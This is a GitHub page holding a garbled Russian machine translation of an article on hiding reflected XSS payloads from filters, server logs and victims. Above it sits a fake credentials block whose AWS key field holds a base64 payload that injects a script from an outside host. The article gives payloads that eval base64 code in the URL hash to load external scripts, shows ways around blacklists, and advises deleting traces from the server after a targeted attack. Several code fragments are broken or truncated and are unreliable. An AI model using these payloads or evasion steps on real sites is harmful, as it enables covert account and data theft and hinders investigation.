· GitHub

Этот файл содержит двунаправленный текст Unicode, который может быть интерпретирован или скомпилирован не так, как показано ниже. Для просмотра откройте файл в редакторе, который показывает скрытые символы Unicode. Узнайте больше о двунаправленных символах Unicode

Показать скрытые символы

AWS_SECRET_KEY=
AWS_ACCESS_KEY= id)) id=dmFyIHBheWxvYWQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cGF5bG9hZC5zcmM9Ii8vbGgubGMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocGF5bG9hZCk7>
corp.google.com=
corp.yahoo.com=
corp.reddit.com=
google. internal=
——НАЧАЛО ЗАКРЫТОГО КЛЮЧА RSA——
Тип процедуры: 4, ЗАШИФРОВАННЫЙ
DEK-Информация: AES-128-CBC,
——КОНЕЦ ЗАКРЫТОГО КЛЮЧА RSA——

Предотвращение обнаружения XSS — Brute XSS

Брут Искусство построения полезной нагрузки XSS

Как может знать любой XSS-сер (тот, кто делает XSS), тег script не всегда доступен для внедрения в дыру XSS, потому что это первое, что будет отфильтровано разработчиком или WAF (брандмауэром веб-приложений). Кроме того, ввод может быть ограничен только несколькими символами, что делает невозможным размещение следующего кода javascript, необходимого для вызова внешнего скрипта, например, в обработчике событий:

с (документом) body.appendChild (createElement ( ' script ' )). с другой стороны, сокрытие подозрительного кода от жертвы прерогатива атаки с более высокими шансами на успех. Необходимы некоторые методы, чтобы избежать обнаружения, от жертвы до расследования разработчика или администратора.

Мы рассмотрим отраженный сценарий XSS. Обычно кодирования вектора XSS достаточно, чтобы скрыть его от глаз пользователя, но чтобы скрыть намерение злоумышленника из журналов сервера, нам нужно перейти к хэш-части URL:

hash.slice(1))>#with(document)
body.appendChild(createElement( ' script ' )).src= ' //ДОМЕН '

Функция slice(1) возвращает строку location.hash из символа в позиции 1 (# — это 0), которая оценивается функцией eval(). Хотя весь код после # никогда не будет отправлен на сервер, что позволит избежать журналирования, очевидно, что здесь происходит слишком много подозрительной активности, и пользователь может это заметить.

Но хуже всего то, что это не будет работать, по крайней мере, в Firefox, потому что одинарные кавычки будут преобразованы в %27, и функция eval() будет жаловаться на это. Нам нужно было бы добавить функцию decodeURI() поверх location.hash.slice(1), что могло бы сделать наш ввод больше и с той же проблемой пользователя, что и выше.

Итак, чтобы избежать этого, давайте сделаем хэш-часть строкой base64. Но сначала нам нужно решить проблему одинарных кавычек:

#with(document)body. appendChild(createElement
(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)

Использование «//brutelogic.com.br/2» в качестве сценария, который просто выводит домен документа в окно предупреждения, мы избавляемся от кавычек с помощью трюка с регулярным выражением «.source» в функции createElement() и с помощью функции atob() для кодирования нашего источника в base64 для значения «src» (вместе с тем же приемом «.source») .

Теперь мы можем закодировать в base64 весь код после хеша, что даст нам следующее:


JjPWF0b
2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=

Последний шаг — получить входные данные, которые будут отправлены на сервер. немного короче: используя свойство URL документа, которое является строкой, мы можем установить его начальную точку с конца, используя отрицательное значение:

URL. slice(-148) ))>
8 2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNv
dXJjZSk=

Двойное кодирование и вычисление длины итоговой строки base64 скучно, поэтому здесь я сделал простой генератор полезной нагрузки.

Функция eval() также может быть заменена функциями setInterval() и setTimeout() в случае черного списка. Но нескольких способов игры со строками в javascript и способов кодирования символов обычно достаточно, чтобы обойти большинство фильтров. Существует также опция обратных кавычек против фильтрации скобок, как мы видим здесь.

Даже с нашими усилиями код сценария все еще может быть обнаружен. Чтобы скрыть это, на стороне сервера можно использовать такие обфускаторы. Но это можно исправить, поэтому, если мы действительно хотим, чтобы никто не знал, что случилось с жертвой, лучше самостоятельно удалить файл с сервера после целевой атаки.

Код Proof of Concept (PoC) находится здесь, и он работает аналогично этому: переименуйте его в index.